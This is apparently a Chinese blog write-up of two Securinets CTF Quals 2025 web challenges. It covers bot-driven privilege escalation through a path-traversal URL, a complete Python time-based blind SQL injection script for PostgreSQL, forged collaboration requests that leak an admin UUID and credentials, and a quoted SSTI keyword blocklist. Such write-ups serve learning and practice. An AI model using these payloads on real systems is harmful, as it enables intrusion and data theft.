Securinets CTF Quals 2025 wp及复现

Securinets CTF Quals 2025

S3cret5

Msg 的这个位置好像可以 sql 注入,有一层 filter

需要 admin 权限

得想办法提权

jwt 这个密钥好像得想办法拿到 (有个默认的,不知道是不是)

我试了一下靶机上的不是

report 路由好像有个管理员 bot

const express = require("express");
const router = express.Router();
const User = require("../models/User");
const puppeteer = require("puppeteer");
const jwt = require("jsonwebtoken");
const authMiddleware = require("../middleware/authMiddleware");

const JWT_SECRET = process.env.JWT_SECRET || "supersecret";

router.get("/", authMiddleware, (req, res) => {
  res.render("reportPage", { csrfToken: req.csrfToken() });
});

router.post("/", authMiddleware, async (req, res) => {
  const { url } = req.body;

  if (!url || !url.startsWith("http")) {
    return res.status(400).send("Invalid URL");
  }

  try {
    const admin = await User.findById(1);
    if (!admin) throw new Error("Admin not found");

    const token = jwt.sign({ id: admin.id, role: admin.role }, JWT_SECRET, { expiresIn: "1h" });

    // Launch Puppeteer
    const browser = await puppeteer.launch({
      headless: true,
      args: ["--no-sandbox", "--disable-setuid-sandbox"],
    });

    const page = await browser.newPage();

    // Set admin token cookie
    await page.setCookie({
      name: "token",
      value: token,
      domain: "localhost",
      path: "/",
    });

    // Visit the reported URL
    await page.goto(url, { waitUntil: "networkidle2" });

    await browser.close();

    res.status(200).send("Thanks for your report");
  } catch (error) {
    console.error(error);
    res.status(200).send("Thanks for your report");
  }
});

module.exports = router;

有没有办法利用

这个 bot 只会 goto,我试试能不能让他访问 admin/addAdmin 来提权

要加 json 数据,试试打 302

为啥会 400..

我起个本地试一下吧。。为啥本地就可以,区别在哪???也有可能是本地的环境有一点点不一样

搞不懂了,明天再看看

果然是不一样,附件更新了

if (!url || !url.startsWith("http://localhost:3000")) {
    return res.status(400).send("Invalid URL");
  }

限制了只能做本地 ssrf,得找别的提权方法

感觉本地试了一通没发现 admin 可以利用的模块,所有的东西都是从数据库提的,也没有外带的思路

卡住了,看看另一道吧

复现:

太有趣了这个点

首先我们能找到提权的接口是这个

exports.addAdmin = async (req, res) => {
  try {
    const { userId } = req.body;

    if (req.user.role !== "admin") {
      return res.status(403).json({ error: "Access denied" });
    }

    const updatedUser = await User.updateRole(userId, "admin");
    res.json({ message: "Role updated", user: updatedUser });
  } catch (err) {
    console.error(err);
    res.status(500).json({ error: "Failed to update role" });
  }
};

同时我们有一个可以本地 ssrf 的 admin bot

router.post("/", authMiddleware, async (req, res) => {
  const { url } = req.body;

  if (!url || !url.startsWith("http://localhost:3000")) {
    return res.status(400).send("Invalid URL");
  }

  try {
    const admin = await User.findById(1);
    if (!admin) throw new Error("Admin not found");

    const token = jwt.sign({ id: admin.id, role: admin.role }, JWT_SECRET, { expiresIn: "1h" });

    // Launch Puppeteer
    const browser = await puppeteer.launch({
      headless: true,
      args: ["--no-sandbox", "--disable-setuid-sandbox"],
    });

    const page = await browser.newPage();

    // Set admin token cookie
    await page.setCookie({
      name: "token",
      value: token,
      domain: "localhost",
      path: "/",
    });

    // Visit the reported URL
    await page.goto(url, { waitUntil: "networkidle2" });

    await browser.close();

    res.status(200).send("Thanks for your report");
  } catch (error) {
    console.error(error);
    res.status(200).send("Thanks for your report");
  }
});

这个 bot 的限制在于只能控制 url,没办法控制参数,因此我们需要一个可以帮我们传参的接口

考虑到 addAdmin 的接口参数为 userId=,我们就按这个方向找

这里就遇到一个我做这两题时的一个误区:只看源码,不看页面

但实际上服务器能够泄露出的信息都需要从页面找线索

例如这个地方,我们需要看到 profile.ejs

const profileIds = urlParams.getAll("id");
const profileId = profileIds[profileIds.length - 1]; 
fetch("/log/"+profileId, {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        credentials: "include",
        body: JSON.stringify({
          userId: "<%= user.id %>", 
          action: "Visited user profile with id=" + profileId,
          _csrf: csrfToken
        })
      })
      .then(res => res.json())
      .then(json => console.log("Log created:", json))
      .catch(err => console.error("Log error:", err));

它会在查看 profile 时向 log 接口发送请求

同时它的 id 在 url 可控,请求参数也正好包含了 userId

因此我们可以构造 urlprofile?id=目标id/../../admin/addAdmin 去访问到提权位置

这里的 uset.id 就是在访问 profile 时通过 id 参数获取的

exports.getProfile = async (req, res) => {
  try {
    const userId = parseInt(req.query.id);

    // Only allow access if current user is the same or admin
    if (req.user.id !== userId && req.user.role !== "admin") {
      return res.status(403).json({ error: "Access denied" });
    }

    const user = await User.findById(userId);
    if (!user) return res.status(404).json({ error: "User not found" });

    res.render("profile", { user, currUser: req.user });
  } catch (err) {
    console.error(err);
    res.status(500).json({ error: "Database error" });
  }
};

这里的 parseInt 就会保证我们得到的 id 是正常的

http://localhost:3000/user/profile?id=57/../../admin/addAdmin

成功提权,再登陆一次拿新的令牌即可访问 admin 相关路由

下面就是通过 msgs 接口来 sql 注入,先研究一下

exports.showMsgs = async (req, res) => {
  if (req.user.role !== "admin") {
    return res.status(403).send("Access denied");
  }

  const { filterBy: filterField, keyword } = req.body;

  try {
    const rows = await Msg.findAll(filterField, keyword);
    
    res.render("admin-msgs", {
      msgs: rows,
      filterBy: filterField,
      keyword,
      csrfToken: req.csrfToken(),
    });
  } catch (err) {
    res.status(400).send("Bad request");
  }
};
const { filterBy: filterHelper } = require("../helpers/filterHelper"); // keep helper
findAll: async (filterField = null, keyword = null) => {
    const { clause, params } = filterHelper("msgs", filterField, keyword);

    const query = `
      SELECT msgs.id, msgs.msg, msgs.type, msgs.createdAt, users.username
      FROM msgs
      INNER JOIN users ON msgs.userId = users.id
      ${clause || ""}
      ORDER BY msgs.createdAt DESC
    `;

    const res = await db.query(query, params || []);
    return res.rows;
  },
function sanitizeInput(input) {
  return input.replace(/[^a-zA-Z0-9 _-]/g, '');
}

function isValidFilterField(field, allowedFields) {
  return allowedFields.includes(field);
}

function filterBy(table, filterBy, keyword, paramIndexStart = 1) {
  if (!filterBy || !keyword) {
    return { clause: "", params: [] };
  }

  const clause = ` WHERE ${table}."${filterBy}" LIKE $${paramIndexStart}`;
  const params = [`%${keyword}%`];

  return { clause, params };
}

module.exports = { filterBy, sanitizeInput, isValidFilterField };

相当于拼接出的语句是

SELECT msgs.id, msgs.msg, msgs.type, msgs.createdAt, users.username
      FROM msgs
      INNER JOIN users ON msgs.userId = users.id
      WHERE msgs."${filterBy}" LIKE [params]
      ORDER BY msgs.createdAt DESC

这里的 ${filterBy}[params] 可控,就可以进行盲注

flag 在 flags 表中,字段为 flag

这里抄了个 wp 的盲注脚本,用于学习(我是 sql 苦手

这里是 PostgreSQL

import requests
import time
import string

url = "http://web1-79e4a3bc.p1.securinets.tn/admin/msgs"

cookies = {
    "_csrf": "8HlG2MeKZp0eDbXqW1lKct_b",
    "SRV": "s2-8e884799b9fb126d2",
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Mywicm9sZSI6ImFkbWluIiwiaWF0IjoxNzU5NzA1NzY0LCJleHAiOjE3NTk3MDkzNjR9.k24SU3nVpgy144Knh7tVM_gpXmAvG_00zeOyucn6-_4"
}

response = requests.get("http://web1-79e4a3bc.p1.securinets.tn/admin/msgs", cookies=cookies)
csrf_token = response.text.split('name="_csrf" value="')[1].split('"')[0]
# 获取csrf_token,用于状态保持一致

print(f"CSRF Token: {csrf_token}\n")

FLAG_LENGTH = 44
flag = ""

charset = string.ascii_letters + string.digits + "_{}-!@#$%^&*()"

def test_char(position, char):
    escaped_char = char.replace("'", "''")
    
    payload = f"msg\" = 'test' AND (SELECT CASE WHEN SUBSTRING(flag,{position},1)='{escaped_char}' THEN pg_sleep(2) END FROM flags LIMIT 1) IS NULL AND msgs.\"msg"
    '''
    语句会构成
    WHERE msgs."msg" = 'test' 
    AND (
    SELECT 
    CASE # 匹配语法
        WHEN SUBSTRING(flag,{position},1)='{escaped_char}' # 取flag字段的1位比较
        THEN pg_sleep(2) # 时间盲注,比较成功就休眠两秒
    END # 结束CASE
    FROM flags LIMIT 1) #取flags表的一条记录
    IS NULL # 无论如何都会返回null,也就不会破坏主查询
    AND msgs."msg" LIKE x
    '''
    data = {
        "_csrf": csrf_token,
        "filterBy": payload,
        "keyword": "x"
    }
    
    # 时间盲注
    start = time.time()
    try:
        response = requests.post(url, cookies=cookies, data=data, timeout=5)
        elapsed = time.time() - start
        return elapsed
    except requests.Timeout:
        return 5  

print("bruteforcing\n")

for pos in range(1, FLAG_LENGTH + 1):
    found = False
    
    for char in charset:
        elapsed = test_char(pos, char)
        
        if elapsed > 1.5:  
            flag += char
            print(f"Position {pos:2d}: '{char}' | Flag: {flag}")
            found = True
            break
        
        time.sleep(0.1)  


print(f"Flag: {flag}")

由于是外网服务器,延迟可以改大一点,我这里改成 5 秒就能出了

爆的时间比较长就不全爆了

另一种思路是用可以查出的数据来盲注,通过数据条数判断有没有查出,这里不赘述了

https://ahmedalnaamani.dev/blogs/secret5/

Puzzle

/db 目录下有数据库泄露

('9ff6fba6-924d-4c09-9f2e-b89fa60fa8ed', '$2a$06$VhuKtbW6RM9BFml.u37gIeL1Dfg2NordyqvFNsfJ7YrXQKoicPSa2', 'admin', 'admin@securinets.tn', '+X5931173160349', 'admin', 1),

密码是注册时生成的

alphabet = string.ascii_letters + string.digits + '!@#$%^&*'
password = ''.join(secrets.choice(alphabet) for _ in range(12))

同时数据库的密码是 bcrypt 哈希过的,没办法恢复,那这里的关键数据应该是 uuid

Key 爆破不出来

然后又到 jwt 的问题了,同样没办法 unsign 出 key

可以创建一个 editor 的账号

**POST** /confirm-register **HTTP/1.1**
**Host**: puzzle-c4d26ae9.p1.securinets.tn
Accept: */*
**Cookie**: **SRV**=**p2-1c9c9a9afd07712b**
**Content-Type**: **multipart/form-data; boundary=----WebKitFormBoundarybTlNNiLfGIzKLo9s**
**Origin**: http://puzzle-c4d26ae9.p1.securinets.tn
Accept-Encoding: gzip, deflate
**User-Agent**: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
**Referer**: http://puzzle-c4d26ae9.p1.securinets.tn/register
**Content-Length**: 335

------WebKitFormBoundarybTlNNiLfGIzKLo9s
Content-Disposition: form-data; name="username"

xn1
------WebKitFormBoundarybTlNNiLfGIzKLo9s
Content-Disposition: form-data; name="email"

1
------WebKitFormBoundarybTlNNiLfGIzKLo9s
Content-Disposition: form-data; name="phone_number"

1
------WebKitFormBoundarybTlNNiLfGIzKLo9s--
Content-Disposition: form-data; name="role"

1
------WebKitFormBoundarybTlNNiLfGIzKLo9s--

但是我查了 泄露数据库 admin 的 uuid 没查到密码

复现:

这里当时应该没注册成功,因为我忘记把参数终止符滞后了,我以为注册成了 editor

**POST** /confirm-register **HTTP/1.1**
**Host**: puzzle-c4d26ae9.p1.securinets.tn
Accept: */*
**Cookie**: **SRV**=**p2-1c9c9a9afd07712b**
**Content-Type**: **multipart/form-data; boundary=----WebKitFormBoundarybTlNNiLfGIzKLo9s**
**Origin**: http://puzzle-c4d26ae9.p1.securinets.tn
Accept-Encoding: gzip, deflate
**User-Agent**: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
**Referer**: http://puzzle-c4d26ae9.p1.securinets.tn/register
**Content-Length**: 335

------WebKitFormBoundarybTlNNiLfGIzKLo9s
Content-Disposition: form-data; name="username"

xnftr1
------WebKitFormBoundarybTlNNiLfGIzKLo9s
Content-Disposition: form-data; name="email"

1
------WebKitFormBoundarybTlNNiLfGIzKLo9s
Content-Disposition: form-data; name="phone_number"

1
------WebKitFormBoundarybTlNNiLfGIzKLo9s
Content-Disposition: form-data; name="role"

1
------WebKitFormBoundarybTlNNiLfGIzKLo9s--

在这个位置可以获取 uuid

<div class="container mt-5">
        <div class="card">
            <div class="card-body">
                <h1 class="card-title">{{ article.title }}</h1>
                <div class="text-muted mb-4">
                    <span class="d-none author-uuid">{{ article.author_uuid }}</span>
                    {% if article.collaborator_uuid %}
                    <span class="d-none collaborator-uuid">{{ article.collaborator_uuid }}</span>
                    {% endif %}
                    <!-- Author and collaborator info -->
                    <small>
                        Posted by {{ article.author_name }}
                        {% if article.collaborator_name %}
                        in collaboration with {{ article.collaborator_name }}
                        {% endif %}
                        on {{ article.created_at }}
                    </small>
                </div>
                <div class="card-text">
                    {{ article.content }}
                </div>
            </div>
        </div>

所以需要想办法和 admin 协作

这个同意协议的接口没做身份验证,只需要 request_uuid 就可以

@app.route('/collab/accept/<string:request_uuid>', methods=['POST'])
    def accept_collaboration(request_uuid):
        if not session.get('uuid'):
            return jsonify({'error': 'Unauthorized'}), 401
        
        user = get_user_by_uuid(session['uuid'])
        if not user:
            return redirect('/login')
        if user['role'] == '0':
            return jsonify({'error': 'Admins cannot collaborate'}), 403
        
        try:
            with sqlite3.connect(DB_FILE) as conn:
                conn.row_factory = sqlite3.Row
                c = conn.cursor()
                
                c.execute("SELECT * FROM collab_requests WHERE uuid = ?", (request_uuid,))
                request = c.fetchone()
                
                if not request:
                    return jsonify({'error': 'Request not found'}), 404
                
                c.execute("""
                    INSERT INTO articles (uuid, title, content, author_uuid, collaborator_uuid)
                    VALUES (?, ?, ?, ?, ?)
                """, (request['article_uuid'], request['title'], request['content'], 
                      request['from_uuid'], request['to_uuid']))
                
                c.execute("UPDATE collab_requests SET status = 'accepted' WHERE uuid = ?", (request_uuid,))
                conn.commit()
                
                return jsonify({'message': 'Collaboration accepted'})
        except Exception as e:
            return jsonify({'error': str(e)}), 500

虽然限制了 admin 不能协作,但是我们用自己账号伪造的请求可以直接绕过

抓包拿到请求 uuid,随后同意

在文章页面拿到 uuid

查询密码

Adm1nooooX333!123!!%

登录后来看管理员面板

@app.route('/admin/ban_user', methods=['POST'])
    @admin_required
    def ban_user():
        def is_safe_input(user_input):
            blacklist = [
            '__', 'subclasses', 'self', 'request', 'session',
            'config', 'os', 'import', 'builtins', 'eval', 'exec', 'compile',
            'globals', 'locals', 'vars', 'delattr', 'getattr', 'setattr', 'hasattr',
            'base', 'init', 'new', 'dict', 'tuple', 'list', 'object', 'type',
            'repr', 'str', 'bytes', 'bytearray', 'format', 'input', 'help',
            'file', 'open', 'read', 'write', 'close', 'seek', 'flush', 'popen',
            'system', 'subprocess', 'shlex', 'commands', 'marshal', 'pickle', 'tempfile',
            'os.system', 'subprocess.Popen', 'shutil', 'pathlib', 'walk', 'stat',
            '[', '(', ')', '|', '%','_', '"','<', '>','~'
            ]
            lower_input = user_input.lower()
            return not any(bad in lower_input for bad in blacklist)

        username = request.form.get('username', '')

        if not is_safe_input(username):
            return admin_panel(ban_message='Blocked input.'), 400

        with sqlite3.connect(DB_FILE) as conn:
            c = conn.cursor()
            c.execute("SELECT * FROM users WHERE username = ?", (username,))
            user = c.fetchone()

        if not user:
            template = 'User {} does not exist.'.format(username)
        else:
            template = 'User account {} is too recent to be banned'.format(username)

        ban_message = render_template_string(template)

        return admin_panel(ban_message=ban_message), 200

这个接口 ban 得很严格,主要是 ban 了中括号和小括号,绕过不太可能

这里还有一个 admin 访问的目录路由

@app.route('/data')
    @admin_required
    def list_data_files():
        files = []
        for file in Path(DATA_DIR).glob('*'):
            if file.is_file():
                files.append({
                    'name': file.name,
                    'size': file.stat().st_size,
                    'modified': datetime.fromtimestamp(file.stat().st_mtime).strftime('%Y-%m-%d %H:%M:%S')
                })
        
        return render_template('directory.html', 
                             path='/data',
                             files=files,
                             is_public=False)

    @app.route('/data/', defaults={'req_path': ''})
    @app.route('/data/<path:req_path>')
    @admin_required
    def serve_data(req_path):
        abs_path = os.path.abspath(os.path.join(DATA_DIR, req_path))
        data_dir_abs = os.path.abspath(DATA_DIR)
        if os.path.commonpath([data_dir_abs, abs_path]) != data_dir_abs:
            return abort(403)

        if not os.path.exists(abs_path):
            return abort(404)

        if os.path.isfile(abs_path):
            return send_file(abs_path)

        files = []
        for file in os.listdir(abs_path):
            file_path = os.path.join(abs_path, file)
            stats = os.stat(file_path)
            files.append({
                'name': file,
                'size': stats.st_size,
                'modified': datetime.fromtimestamp(stats.st_mtime).strftime('%Y-%m-%d %H:%M:%S')
            })

        return render_template('directory.html', 
                             path=f'/data/{req_path}',
                             files=files,
                             is_public=False)

压缩包需要密码

exe 可以逆向出默认值

server = '127.0.0.1'\ndatabase = 'puzzledb'\nusername = 'sa'\npassword = 'PUZZLE+7011_X207+!*'

但是这个是连不了数据库的

尝试发现这个密码是解压密码,解压后拿到 flag

posted @ 2025-10-24 21:56  xNftrOne  阅读(7)  评论(0)    收藏  举报